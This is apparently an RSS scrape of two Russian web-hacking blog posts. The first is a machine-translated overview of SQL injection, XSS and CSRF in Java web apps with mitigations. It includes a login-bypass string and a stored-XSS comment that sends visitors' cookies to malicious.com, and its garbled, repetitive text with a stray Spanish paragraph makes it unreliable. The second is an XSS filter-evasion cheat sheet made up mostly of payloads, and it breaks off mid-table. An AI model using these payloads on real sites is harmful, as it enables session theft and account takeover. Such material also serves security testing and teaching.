  <p id="wIGm">Java/Javascript - один из языков программирования, наиболее широко используемых компаниями для разработки управленческих сервисов с хорошей доступностью и масштабируемостью.</p>
  <p id="VRUR">В данном отчете будут рассмотрены наиболее важные ошибки безопасности, которые влияют на сервисы и/или программы, созданные с использованием языка программирования Java/Javascript, а также протоколы или инструменты, предоставляемые самим языком для их предотвращения/контроля.</p>
  <p id="qrQZ">Предоставить информацию об основных векторах атак злоумышленников и необходимые рекомендации и критерии, которые следует учитывать для более безопасной разработки веб-приложений на Java.</p>
  <p id="QTUD">Предложение протоколов безопасности для различных этапов разработки веб-приложения, создаваемого на Java.</p>
  <p id="MfII">Проектирование и разработка веб-сервисов с использованием J2EE с использованием библиотек и инструментов, которые можно найти в Java. Проектирование и разработка веб-сервисов с использованием J2EE с использованием библиотек и инструментов, которые можно найти в Java.</p>
  <p id="YOid">Внедрение систем шифрования для хранения данных в нашей базе данных в случае ошибки безопасности. в случае новой ошибки безопасности, чтобы не подвергать ее риску.</p>
  <p id="O4fr"><strong>Инъекционные атаки SQL или LDAP</strong></p>
  <p id="ALhb">Инъекция кода является одним из наиболее известных и широко используемых сообществом векторов атак, таких как SQL-инъекция или LDAP, причем sql является наиболее известным и опасным, поскольку позволяет злоумышленнику получить доступ ко всей нашей базе данных, но как она работает и как ее предотвратить.</p>
  <p id="9AxE">SQL-инъекция заключается во вставке SQL-кода в машину жертвы через обычные входные данные, предоставляемые сервером, например, в такие поля, как имя пользователя и пароль, которые хранятся в SQL-базах данных, используемых Java, с целью получения доступа к базе данных для получения или удаления всех хранящихся в ней учетных данных. учетные данные, хранящиеся в базе данных.</p>
  <p id="3dAy">Яркий пример SQL-инъекции основан на передаче в качестве входного параметра кода или команды в обход систем проверки сервера для предоставления или запрета доступа.<br /></p>
  <figure id="iH0c" class="m_column">
    <img src="https://img1.teletype.in/files/c9/d0/c9d088b2-8cd6-440a-af1e-5c910ce2fdb4.png" width="1918" />
  </figure>
  <p id="OQlG">Изображение показывает один из примеров множества, уязвимых для атаки SQL-инъекции, с использованием команды Атака SQL-инъекции, используя команду &lt;&#x27;) OR &#x27;1&#x27;=&#x27;1&#x27;&gt; в качестве имени пользователя и пароля, дала бы нам доступ к серверу, так как пароля даст нам доступ к серверу, так как условие выражения всегда истинно. всегда истинно.</p>
  <p id="VG5k">Если параметры имени пользователя и пароля не проверены должным образом, злоумышленник может получить доступ, используя только эту команду. Атакующий мог бы получить доступ, используя только эту команду, но этот тип атаки можно предотвратить, так как мы собираемся этот тип атаки, как мы увидим в следующем разделе.</p>
  <p id="99dh"><strong>Как предотвратить это?</strong></p>
  <p id="wdxA">Контрмеры для предотвращения этого типа атак очень хорошо определены в связи с частым использованием и важностью защиты базы данных нашей организации.</p>
  <p id="YzXN">Использование параметризованных запросов для разделения проверки входных параметров, введенных пользователем, для этого используются предварительно составленные предложения, в которых указывается, какие параметры будут введены, таким образом, можно указать, какой код будет выполнен и какого типа входные переменные, и таким образом предотвратить создание пользователем атаки SQL инъекции, например, введение SQL команды, которая не является ожидаемым типом (строка, целое число, дата) вызовет исключение.</p>
  <p id="XfuC">На следующем изображении показано, как сгенерировать безопасный запрос на нашем сервере с помощью Prepared Statement.</p>
  <figure id="lIGz" class="m_column">
    <img src="https://img2.teletype.in/files/10/43/104321d9-c3b6-49a6-8611-e3a970989697.png" width="1658" />
  </figure>
  <p id="sczJ">Использование хранимых процедур, как правило, не может быть затронуто SQL-инъекцией. Инъекция SQL-кода.</p>
  <p id="dJi5">Используйте фреймворки или инструменты, такие как Object Relational Mapping (ORM) в Java. которые предоставляют исходный код для параметризации запросов на вашем сервере.</p>
  <p id="eK3O">Блокировать специальные символы, вводимые пользователем, такие как # или &quot; или &#x27;, но я не рекомендую этого делать, так как у каждого могут быть свои специальные символы. Я не рекомендую этого делать, поскольку каждый может иметь такой пароль, какой он хочет, используя специальные символы, и есть такие способы, как те. специальные символы, и есть способы, как упомянутые выше, чтобы избежать их даже при использовании специальных символов. специальных символов.</p>
  <p id="yjSG">Обеспечьте необходимые привилегии, которые потребуются обычному пользователю при подключении к нашей базе данных, разделите привилегии базы данных, разделить привилегии в коде для выбора различных типов пользователей, использующих одну и ту же базу данных. пользователей, использующих одну и ту же базу данных.</p>
  <p id="fBIO"><strong>Атаки XSS (Межсайтовый скриптинг)</strong></p>
  <p id="bkYz">Этот тип уязвимости возникает, когда веб-приложение получает данные и отправляет их в браузер, не выполнив предварительно соответствующей проверки.</p>
  <p id="xkQf">XSS позволяет злоумышленнику написать набор команд в веб-браузере жертвы, что может позволить злоумышленнику удаленно управлять машиной жертвы, пример кода может быть следующим:</p>
  <pre data-lang="javascript" id="Mzbn">&lt;script&gt; alert(&quot;Это уязвимо для XSS.&quot;) &lt;/script&gt;</pre>
  <p id="lnEt">XSS атака включает использование javascript в качестве кода, но это зависит от типа атаки, так как есть очень сложные, есть достаточно надежный способ узнать, уязвимо ли наше веб-приложение к XSS атаке, <strong>тестирование того, что при отправке любого типа информации на сервер, как если бы мы были простыми пользователями, использующими клиент, вы можете увидеть, что было ранее увидеть, что было ранее отправлено на странице ответа</strong>.</p>
  <p id="ne8l">Существует множество типов XSS-атак, как упоминалось выше, но из них 3 являются наиболее известными и наиболее используемыми. Но мы можем выделить 3 из них, поскольку они наиболее известны и наиболее часто используются, поэтому наш веб-сервер должен быть защищен от этих основных типов атак поэтому наш веб-сервер должен быть защищен от этих основных типов атак:</p>
  <p id="kVUi"><strong>Отраженный XSS</strong>: Представьте, что на сайте есть поле поиска, которое отображает поисковые запросы в результатах, но не проверяет и не экранирует специальные символы должным образом. Злоумышленник может создать вредоносную ссылку, которая включает в поисковый запрос сценарий, например :</p>
  <pre data-lang="" id="OCev">http://www.example.com/search?term=&lt;script&gt;alert(&#x27;XSS-атака&#x27;)&lt;/script&gt;</pre>
  <p id="b4AG">Если пользователь щелкнет по этой ссылке, скрипт запустится в его браузере, отобразив предупреждение с сообщением &quot;XSS-атака&quot;. Злоумышленник мог использовать более вредоносный скрипт для кражи информации или выполнения действий от имени пользователя.</p>
  <p id="hu4T"><strong>Хранимый XSS</strong>: Предположим, что сайт позволяет пользователям оставлять комментарии в блоге, но не проверяет и не экранирует специальные символы в содержимом комментария. Злоумышленник может опубликовать комментарий, содержащий вредоносный скрипт, такой как:</p>
  <pre data-lang="" id="f9Yh">Здравствуйте, отличная статья! &lt;script&gt;document.location=&#x27;http://www.malicious.com/?cookie=&#x27; + document.cookie;&lt;/script&gt;</pre>
  <p id="SB7O">Когда другие пользователи будут читать комментарии, скрипт будет выполняться в их браузерах, отправляя их cookies на вредоносный сайт. Злоумышленник может использовать эти cookies для перехвата сеансов пользователей и получения несанкционированного доступа к их учетным записям.</p>
  <p id="A5I4"><strong>XSS на основе DOM</strong>: Представьте, что веб-приложение использует JavaScript для чтения значения из URL и отображения его на странице без валидации или экранирования. Злоумышленник может манипулировать URL, чтобы включить в него вредоносный скрипт:</p>
  <pre data-lang="" id="11oQ">http://www.example.com/pag#&lt;script&gt;alert(&#x27;DOM-based XSS attack&#x27;)</pre>
  <p id="vhDp">Когда пользователь переходит по этому URL, скрипт выполняется в его браузере, отображая предупреждение с сообщением &quot;DOM-based XSS attack&quot;. Как и в других примерах, злоумышленник мог использовать более вредоносный скрипт для выполнения опасных действий.</p>
  <p id="zVV6"><strong>Как предотвратить это</strong></p>
  <p id="WYTA">Параметры и протоколы, которые необходимо соблюдать, чтобы наш веб-сервис не был уязвим для этого типа атак, основаны на таких методах проверки, как:</p>
  <p id="aL7j">- Входная валидация: использование функций валидации и фильтрации для записей, создаваемых на веб-сервере, например, белых списков.</p>
  <p id="Gl9x">- Обязательная активация httponly в Интернете.</p>
  <p id="ggiC">- Шифруйте выходные данные и файлы cookie.</p>
  <p id="dqsc">- Фреймворки, такие как Java Server Faces, имеют библиотеки для предотвращения XSS.</p>
  <p id="5NZY">- Убедитесь, что все типы данных, предоставляемых пользователем, зашифрованы правильно. правильно.</p>
  <p id="0WeH"><strong>Подделка запросов (CSRF)</strong></p>
  <p id="QwNo">Подделка запросов происходит, когда злоумышленник заставляет браузер жертвы инициировать фальшивый HTTP-запрос, тем самым перехватывая сессионный cookie жертвы для веб-сервера. Таким образом, злоумышленник может генерировать недействительные запросы на машине жертвы, но браузер жертвы считает их легитимными и перехватывает необходимую злоумышленнику информацию. Среди основных причин, делающих возможным этот тип атаки, можно назвать следующие:</p>
  <p id="ynml">- Злоупотребление системой входа, поскольку подавляющее большинство сайтов полагаются на то, что после того, как пользователь аутентифицировался с помощью своих учетных данных, все сгенерированные им запросы являются действительными, и не проверяют, являются ли они запросами с машины, отличной от машины пользователя, что позволяет злоумышленнику выдавать себя за пользователя.</p>
  <p id="0pBc">- Использование тегов HTML, использование тегов html означает, что злоумышленник может генерировать в них определенные команды, но с различными функциями в зависимости от намерений злоумышленника.</p>
  <p id="vnCS">- Бесконтрольное использование PUT и POST для отправки информации на сервер, бесконтрольное использование этих методов для отправки информации на сервер, например, в форме, может позволить злоумышленнику перехватить эту информацию и отправить ее так, как если бы он был пользователем.</p>
  <p id="FGcQ"><strong>Как предотвратить это</strong></p>
  <p id="jYqp">Чтобы предотвратить создание злоумышленником поддельных HTTP-запросов на вашем сервере, рекомендуется выполнить следующие инструкции.<br />сервера, рекомендуется следовать ряду инструкций:</p>
  <p id="frzW">- Добавьте уникальные и зашифрованные токены.</p>
  <p id="dEbu">- Использовать защищенную версию протокола HTTP с шифрованием TLS.</p>
  <p id="67CG">- Добавление в сеанс дополнительной информации помимо обязательной, как показано на рисунке 3.</p>
  <figure id="z5UZ" class="m_column">
    <img src="https://img3.teletype.in/files/2b/5d/2b5db8f9-398d-4e85-b49c-dcae98794f27.png" width="1442" />
  </figure>
  <p id="hZu7">- Проверяйте информацию, отправленную на веб-сервер, с помощью put и post.</p>
  <p id="01Rz">- Используйте заголовки &#x27;Referer&#x27;, хотя было доказано, что они не являются 100%, но обеспечивают минимально необходимую защиту пользователя, а также предотвращают запросы к недействительным URI.<br /><strong>Инструменты анализа</strong></p>
  <p id="7lrC">Инструмент анализа - это не более чем программа, которая отслеживает в нашем коде любой недостаток безопасности, который мы пропустили, основываясь на рекомендациях и атаках, которые определил сам инструмент, упомянутые выше 0 дней не найдут их по причинам, которые уже были упомянуты, остальные упомянутые ошибки и многие другие в теории, если мы предупредим, что он уязвим и возможное исправление.</p>
  <p id="IRr9"><strong>JASS</strong></p>
  <p id="2y68">Служба аутентификации и авторизации Java (JAAS) была представлена как дополнительный пакет (расширение) к Java 2 SDK, Standard Edition (J2SDK), версия 1.3. JAAS была интегрирована в J2SDK 1.4.</p>
  <p id="Styx">JAAS можно использовать для двух целей.</p>
  <p id="Q4kx">Для аутентификации пользователей, чтобы надежно и безопасно определить, кто в данный момент выполняет Java-код, независимо от того, выполняется ли код как приложение, апплет, боб или сервлет.</p>
  <p id="8Xq6">Для авторизации пользователей, чтобы убедиться, что они обладают необходимыми правами контроля доступа (разрешениями) для выполнения выполняемых действий.</p>
  <p id="7PH3">JAAS реализует Java-версию стандартного подключаемого модуля аутентификации (Pluggable Authentication).<br />Module (PAM).</p>
  <p id="drll">Традиционно Java обеспечивала контроль доступа на основе исходных текстов (контроль доступа на основе того, откуда пришел код и кто его подписал). Однако в ней отсутствовала возможность дополнительно применять контроль доступа на основе того, кто выполняет код. JAAS предоставляет основу, которая дополняет архитектуру безопасности Java такой поддержкой.</p>
  <p id="bP47">Аутентификация в JAAS выполняется в подключаемой манере. Это позволяет приложениям оставаться независимыми от базовых технологий аутентификации.<br />базовых технологий аутентификации. Новые или обновленные технологии аутентификации могут подключаться к приложению без необходимости модификации самого приложения. Приложения включают процесс аутентификации путем инстанцирования объекта LoginContext, который, в свою очередь, ссылается на Configuration для определения технологии(ий) аутентификации, или LoginModule, который будет использоваться для выполнения аутентификации. Типичные модули входа могут запрашивать и проверять имя пользователя и пароль. Другие могут считывать и проверять образец голоса или отпечаток пальца.</p>
  <p id="LsbE">Una vez que se autentica el código de ejecución del usuario o del servicio, el componente de autorización JAAS funciona junto con el modelo de control de acceso central de Java SE para proteger el acceso a los recursos confidenciales. A diferencia de J2SDK 1.3 y versiones anteriores, donde las decisiones de control de acceso se basan únicamente en la ubicación del código y los firmantes del código (CodeSource), en J2SDK 1.4, las decisiones de control de acceso se basan tanto en el CodeSource del código ejecutable como en el usuario o servicio que ejecuta el código. que está representado por un objeto Sujeto. El objeto Asunto es actualizado por LoginModule con los principales y las credenciales apropiados en la autenticación exitosa.</p>
  <figure id="cxm0" class="m_column">
    <img src="https://img2.teletype.in/files/9f/4f/9f4fd2a7-45fe-4d65-994a-2711bc5e7a5b.png" width="988" />
  </figure>
  <p id="654e"><strong>Рекомендации</strong></p>
  <p id="Ot1t">Эти ссылки содержат общее руководство по технологиям, рассматриваемым в этих разделах, и конкретные рекомендации, которые они содержат.</p>
  <p id="YvUP">В этом разделе обсуждаются общие проблемы, с которыми сталкиваются веб-разработчики при создании безопасных веб-приложений, независимо от того, используют ли они</p>
  <p id="GwhO">Java, pHp, AJAX или другие веб-языки и/или технологии.</p>
  <p id="17eN">- <strong>Аутентификация</strong></p>
  <p id="tOeM">Вопросы аутентификации, связанные с безопасными веб-приложениями, такие как базовая аутентификация/аутентификация с помощью дайджеста, аутентификация на основе форм, интегрированная аутентификация (SSO) и т.д.</p>
  <p id="bUMN">- <strong>Авторизация</strong></p>
  <p id="srZY">Вопросы аутентификации, гарантирующие, что пользователь имеет соответствующие привилегии для просмотра ресурса. Сюда входят такие вопросы, как принцип наименьших привилегий, маркеры авторизации на стороне клиента и т.д.</p>
  <p id="2cyK">Принцип наименьших привилегий, маркеры авторизации на стороне клиента и т.д.</p>
  <p id="glPl">- <strong>Управление сеансами</strong></p>
  <p id="tlaN">Аутентифицированные пользователи имеют надежную и криптографически защищенную связь со своей сессией, приложения применяют проверку авторизации, а приложения избегают или предотвращают распространенные веб-атаки, такие как повторное воспроизведение, подделка запросов и атака &quot;человек посередине&quot;.</p>
  <p id="RsUM">подделка запросов и &quot;человек посередине&quot;.</p>
  <p id="2cxm">- <strong>Валидация данных</strong></p>
  <p id="E0nm">Приложения устойчивы к любым формам входных данных, полученных от пользователя, инфраструктуры, внешних объектов или баз данных.</p>
  <p id="Klyy">- <strong>Внедрение интерпретаторов</strong></p>
  <p id="Mn9k">Решение проблем приложений для обеспечения их защищенности от известных атак подмены параметров в распространенных интерпретаторах.</p>
  <p id="RPsy">- <strong>Обработка ошибок, аудит и протоколирование</strong></p>
  <p id="8wWN">Разработка хорошо написанных приложений, которые имеют двойное назначение - журналы и трассировки активности для аудита и мониторинга. Это позволяет легко отследить</p>
  <p id="wB21">транзакцию без чрезмерных усилий или доступа к системе. Они должны обладать способностью легко отслеживать или выявлять возможное мошенничество или аномалии от начала до конца.</p>
  <p id="RjbW">- <strong>Распределенные вычисления</strong></p>
  <p id="hZ82">Синхронизация и удаленные сервисы для веб-приложений, защита приложений от: Синхронизация и удаленные сервисы для веб-приложений, защита приложений от: Синхронизация и удаленные сервисы для веб-приложений, защита приложений от</p>
  <p id="SH2T">приложения против:</p>
  <p id="O0FX">- условий гонки по времени проверки и по времени использования.</p>
  <p id="0JoH">- проблемы распределенной синхронизации</p>
  <p id="vdcD">- общие проблемы мультипрограммирования, многопоточности и распределенной безопасности.</p>
  <p id="c5fd">- <strong>Переполнение буфера</strong></p>
  <p id="kZfn">Решает такие проблемы, как:</p>
  <p id="2K4K">- Приложения не подвергаются воздействию неисправных компонентов.</p>
  <p id="ChI7">- Приложения создают как можно меньше переполнений буфера.</p>
  <p id="WDQO">- Разработчикам рекомендуется использовать языки и механизмы, которые относительно невосприимчивы к переполнению буфера.</p>
  <p id="Au6s">- <strong>Административные интерфейсы</strong></p>
  <p id="XIUc">Функции уровня администратора адекватно отделены от деятельности пользователей, которые не могут получить доступ или использовать функции администратора, и обеспечивают необходимый аудит и отслеживаемость административных функций.</p>
  <p id="MHn6">- <strong>Криптография</strong></p>
  <p id="dkfo">Обеспечьте безопасное использование криптографии для защиты конфиденциальности и целостности конфиденциальных пользовательских данных.</p>
  <p id="Fa0j">- <strong>Конфигурация</strong></p>
  <p id="KcO2">Создание безопасных веб-приложений, максимально хорошо построенных и максимально защищенных.</p>
  <p id="rsxb">- <strong>Обеспечение качества программного обеспечения (QA)</strong></p>
  <p id="js2b">Согласно руководству OWASP, &quot;целью обеспечения качества программного обеспечения является подтверждение того, что конфиденциальность и целостность частных данных пользователей защищены в процессе обработки, хранения и передачи данных. Тестирование QA также должно подтвердить, что приложение не может быть взломано, разрушено, захвачено, перегружено или заблокировано атаками типа &quot;отказ в обслуживании&quot; в пределах приемлемого уровня риска&quot;. Это подразумевает, что приемлемые уровни риска и сценарии моделирования угроз устанавливаются заранее, чтобы разработчики и инженеры QA знали, чего ожидать и над чем работать.</p>
  <h3 id="1vCn"><strong>Ссылки :<br /><a href="https://docs.oracle.com/javase/8/docs/technotes/guides/security/StandardNames.html" target="_blank">Standard Algorithm Name Documentation<br /></a><a href="https://docs.oracle.com/javase/8/docs/technotes/guides/security/crypto/CryptoSpec.html#Cipher" target="_blank">Java Cryptography Architecture (JCA) Reference Guide<br /></a><a href="https://docs.oracle.com/javase/8/docs/technotes/guides/security/" target="_blank">Documentation</a></strong></h3>
  <p id="3MEk"><em>Модераторы и форумчане не стесняются редактировать и перемещать тему, если что-то не так или что-то плохо переведено.Как я уже говорил, я не русский, я сделал это со всей добросовестностью и со всем возможным желанием.</em></p>
  <figure id="vqrk" class="m_column">
    <img src="https://img1.teletype.in/files/c0/c4/c0c4863e-f9be-42a8-afec-d95545d36f95.png" width="1654" />
  </figure>
  <p id="YJt2"><strong>Наш канал - <a href="https://t.me/webhack_kakao" target="_blank">https://t.me/webhack_kakao</a></strong></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@kakaovers/Xd7gCnQf0aU</guid><link>https://teletype.in/@kakaovers/Xd7gCnQf0aU?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers</link><comments>https://teletype.in/@kakaovers/Xd7gCnQf0aU?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers#comments</comments><dc:creator>kakaovers</dc:creator><title>Справочник по XSS</title><pubDate>Fri, 24 Feb 2023 08:21:11 GMT</pubDate><description><![CDATA[Особенности синтаксиса HTML в проведении XSS атак.
Один из основных методов защиты сайтов от XSS-уязвимостей - это использование различных фильтров на вводимые пользователем символы.
В данной заметке описаны особенности синтаксиса HTML, позволяющие обходить эти фильтры.]]></description><content:encoded><![CDATA[
  <p id="LQGF">Особенности синтаксиса HTML в проведении XSS атак.<br />Один из основных методов защиты сайтов от XSS-уязвимостей - это использование различных фильтров на вводимые пользователем символы.<br />В данной заметке описаны особенности синтаксиса HTML, позволяющие обходить эти фильтры.</p>
  <p id="92iG">Следует отметить, что XSS уязвимости являются браузеро-зависимыми. Все приведенные ниже примеры тестировались в IE6. В других версиях или в других браузерах, примеры могут и не работать.<br />Например символ обратного апострофа (&#x60;) является ограничителем атрибутов только в IE. Другие браузеры, такие как Opera например, не считают этот символ ограничителем.</p>
  <p id="dWsO">&lt;li&gt;Разделители атрибутов тега.<br />Помимо пробела, можно использовать символы:<br />слеш(&lt;strong&gt;/&lt;/strong&gt;), табуляцию, перевод строки. Разделитель можно опустить, если предыдущий атрибут заключен в кавычки.</p>
  <pre data-lang="" id="jeBU">&amp;lt;image/src=&quot;1.png&quot;/alt=&quot;Подсказка&quot;/border=&quot;0&quot;&amp;gt;
&amp;lt;image	src=&quot;1.png&quot;	alt=&quot;Подсказка&quot;	border=&quot;0&quot;&amp;gt;
&amp;lt;image
src=&quot;1.png&quot;
alt=&quot;Подсказка&quot;
border=&quot;0&quot;&amp;gt;

&amp;lt;image src=&quot;1.png&quot;alt=&quot;Подсказка&quot;border=&quot;0&quot;&amp;gt;</pre>
  <p id="RogG">&lt;li&gt;Ограничители атрибутов тега<br />Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать.</p>
  <pre data-lang="" id="BkQi">&amp;lt;image src=&quot;&quot; alt=&quot;Моя подсказка&quot; border=&quot;0&quot;&amp;gt;
&amp;lt;image src=&quot;&quot; alt=&#x27;Моя подсказка&#x27; border=&quot;0&quot;&amp;gt;
&amp;lt;image src=&quot;&quot; alt=&#x60;Моя подсказка&#x60; border=&quot;0&quot;&amp;gt;
&amp;lt;image src=&quot;&quot; alt=Подсказка border=&quot;0&quot;&amp;gt;</pre>
  <p id="9zMk">&lt;li&gt;Кодировки символов<br />Расшифровка символов в скрипте происходит &lt;em&gt;до&lt;/em&gt; его выполнения:</p>
  <pre data-lang="" id="Igpc">&amp;lt;img src=javascript:alert(&amp;amp;quot;ok&amp;amp;quot;)&amp;gt;
&amp;lt;img src=javascript:alert(&amp;amp;#039;ok&amp;amp;#039;)&amp;gt;
&amp;lt;img src=&amp;amp#106&amp;amp#97&amp;amp#118&amp;amp#97&amp;amp#115&amp;amp#99&amp;amp
#114&amp;amp#105&amp;amp#112&amp;amp#116&amp;amp#58&amp;amp#97&amp;amp#108&amp;amp
#101&amp;amp#114&amp;amp#116&amp;amp#40&amp;amp#39&amp;amp#111&amp;amp#107&amp;amp
#39&amp;amp#41&amp;gt;

&amp;lt;a href=javascript:alert(%22ok%22)&amp;gt;click me&amp;lt;/a&amp;gt; (только в атрибуте &lt;strong&gt;href&lt;/strong&gt;)</pre>
  <p id="VXkQ">&lt;li&gt;Ограничители символьных литералов в скриптах</p>
  <pre data-lang="" id="52p6">&amp;lt;img src=javascript:alert(&#x27;ok&#x27;)&amp;gt;
&amp;lt;img src=javascript:alert(&quot;ok&quot;)&amp;gt;
&amp;lt;img src=javascript:a=/ok/;alert(a.source)&amp;gt;

&amp;lt;img src=javascript:alert(String.fromCharCode(111,107))&amp;gt;</pre>
  <p id="fozG">&lt;li&gt;Обход фильтрации некоторых символов</p>
  <pre data-lang="" id="XwbF">&amp;lt;img src=javascript:i=new/**/Image();i.src=&#x27;http://bla.bla&#x27;&amp;gt;(замена пробела на /**/)</pre>
  <p id="OoBD">&lt;li&gt;Способы запуска скриптов<br />Несколько способов автоматического запуска скриптов:</p>
  <pre data-lang="" id="yWlW">&amp;lt;script&amp;gt;alert(&#x27;ok&#x27;)&amp;lt;/script&amp;gt;

&amp;lt;script src=1.js&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;body onLoad=alert(&#x27;ok&#x27;)&amp;gt;
&amp;lt;meta http-equiv=Refresh content=0;url=javascript:alert(&#x27;ok&#x27;)&amp;gt;
&amp;lt;image src=1.png onload=alert(&#x27;ok&#x27;)&amp;gt;
&amp;lt;image src=javascript:alert(&#x27;ok&#x27;)&amp;gt;
&amp;lt;image src=&quot;&quot; onerror=alert(&#x27;ok&#x27;)&amp;gt;
&amp;lt;hr style=background:url(javascript:alert(&#x27;ok&#x27;))&amp;gt;
&amp;lt;span style=top:expression(alert(&#x27;ok&#x27;))&amp;gt;&amp;lt;/span&amp;gt;

&amp;lt;span sss=&quot;alert();this.sss=null&quot; style=top:expression(eval(this.sss));&amp;gt;&amp;lt;/span&amp;gt; (срабатывает только один раз)
&amp;lt;style type=&quot;text/css&quot;&amp;gt;@import url(javascript:alert(&#x27;ok&#x27;));&amp;lt;/style&amp;gt;
&amp;lt;object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert(&#x27;ok&#x27;)&amp;gt;&amp;lt;/object&amp;gt;
&amp;lt;embed src=javascript:alert(&#x27;ok&#x27;);this.avi&amp;gt;
&amp;lt;embed src=javascript:alert(&#x27;ok&#x27;);this.wav&amp;gt;

&amp;lt;iframe src=javascript:alert(&#x27;ok&#x27;)&amp;gt; (только в IE)
&amp;lt;a href=javascript:alert(%22ok%22)&amp;gt;click me&amp;lt;/a&amp;gt; (запуск только при клике по ссылке)
&amp;lt;a href=javascript:alert(&#x27;aaa&#x27;+eval(&#x27;alert();i=2+2&#x27;)+&#x27;bbb&#x27;)&amp;gt;click me&amp;lt;/a&amp;gt;  (запуск только при клике по ссылке)

&amp;lt;br SIZE=&quot;&amp;{alert(&#x27;XSS&#x27;)}&quot;&amp;gt; (только Netscape 4.x)</pre>
  <p id="fDiv">&lt;li&gt;Различные скриптовые протоколы, способы их написания</p>
  <pre data-lang="" id="JXcq">&amp;lt;img src=javascript:alert()&amp;gt;
&amp;lt;img src=vbscript:AleRt()&amp;gt;
&amp;lt;img src=JaVasCriPt:alert()&amp;gt;
&amp;lt;img src=&quot;   javascript:alert()&quot;&amp;gt; (пробелы до слова javascript) 

&amp;lt;img src=&amp;amp#106&amp;amp#97&amp;amp#118&amp;amp#97&amp;amp#115&amp;amp#99&amp;amp#114&amp;amp#105&amp;amp#112&amp;amp#116:alert()&amp;gt;
&amp;lt;img src=javascript&amp;amp#9:alert()&amp;gt;
&amp;lt;img src=javascript&amp;amp#10:alert()&amp;gt;

&amp;lt;img src=javascript&amp;amp#13:alert()&amp;gt;
&amp;lt;img src=&quot;javascript	:alert()&quot;&amp;gt;  (перед двоеточием - символ табуляции) 
&amp;lt;img src=&quot;java	scri
pt:ale	rt()&quot;&amp;gt; (внутри слова javascript - символ табуляции и возврат каретки)</pre>
  <p id="juFF">&lt;li&gt;Вставки скриптов в &lt;strong&gt;style&lt;/strong&gt;<br />Операторы скрипта в атрибуте&lt;strong&gt; style&lt;/strong&gt; нужно разделять &quot;&lt;strong&gt;\;&lt;/strong&gt;&quot;.</p>
  <pre data-lang="" id="HBzu">&amp;lt;hr style=&#x60;background:url(javascript:alert(&#x27;ok 1&#x27;)\;alert(&#x27;ok 2&#x27;))&#x60;&amp;gt;</pre>
  <p id="WFta">&lt;li&gt;Специальные теги.</p>
  <pre data-lang="" id="IyQq">&amp;lt;image src=&quot;1.png&quot; alt=&quot;&quot; border=&quot;0&quot;&amp;gt; (тег img и image работают одинаково)
&amp;lt;plaintext&amp;gt; (все, что будет идти после этого тега, будет восприниматься как обычный текст - не HTML)
&amp;lt;textarea&amp;gt; (все, что будет идти после этого тега, будет восприниматься как обычный текст - не HTML)

&amp;lt;xml&amp;gt; (все, что будет идти после этого тега, не будет отображаться)</pre>
  <p id="jCjS">&lt;li&gt;Таблица часто применяемых кодов:</p>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="N2J5">&lt;TABLE border=&quot;1&quot; cellPadding=2 cellSpacing=0&gt;</p>
    <p id="9tMb">&lt;TR&gt;<br />&lt;TD&gt;&lt;STRONG&gt;Символ&lt;/STRONG&gt;&lt;/TD&gt;<br />&lt;TD&gt;&lt;STRONG&gt;Десятичная кодировка&lt;/STRONG&gt; &lt;/TD&gt;</p>
    <p id="iN8P">&lt;TD&gt;&lt;STRONG&gt;16-ая кодировка*&lt;/STRONG&gt; &lt;/TD&gt;<br />&lt;TD&gt;&lt;STRONG&gt;Символьная кодировка&lt;/STRONG&gt; &lt;/TD&gt;<br />&lt;TD&gt;&lt;STRONG&gt;URL-кодировка&lt;/STRONG&gt;&lt;/TD&gt;&lt;/TR&gt;<br />&lt;TR&gt;<br />&lt;TD&gt;&quot;&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#34&lt;/TD&gt;</p>
    <p id="HCgr">&lt;TD&gt;&amp;amp;#x22;&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;quot&lt;/TD&gt;<br />&lt;TD&gt;%22&lt;/TD&gt;&lt;/TR&gt;<br />&lt;TR&gt;<br />&lt;TD&gt;&#x27;&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#39&lt;/TD&gt;</p>
    <p id="J293">&lt;TD&gt;&amp;amp;#x27;&lt;/TD&gt;<br />&lt;TD&gt; &lt;/TD&gt;<br />&lt;TD&gt;%27&lt;/TD&gt;&lt;/TR&gt;<br />&lt;TR&gt;<br />&lt;TD&gt;&#x60;&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#96&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#x60;&lt;/TD&gt;</p>
    <p id="fEjS">&lt;TD&gt; &lt;/TD&gt;<br />&lt;TD&gt;%60&lt;/TD&gt;&lt;/TR&gt;<br />&lt;TR&gt;<br />&lt;TD&gt;&amp;lt;пробел&amp;gt;&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#32&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#x20;&lt;/TD&gt;<br />&lt;TD&gt; &lt;/TD&gt;</p>
    <p id="KHGL">&lt;TD&gt;+&lt;/TD&gt;&lt;/TR&gt;<br />&lt;TR&gt;<br />&lt;TD&gt;&amp;lt;табуляция&amp;gt;&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#9&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#x09;&lt;/TD&gt;<br />&lt;TD&gt; &lt;/TD&gt;<br />&lt;TD&gt;%09&lt;/TD&gt;&lt;/TR&gt;</p>
    <p id="4zmE">&lt;TR&gt;<br />&lt;TD&gt;&amp;lt;возврат каретки&amp;gt;&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#13&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#x0D;&lt;/TD&gt;<br />&lt;TD&gt; &lt;/TD&gt;<br />&lt;TD&gt;%0D&lt;/TD&gt;&lt;/TR&gt;<br />&lt;TR&gt;</p>
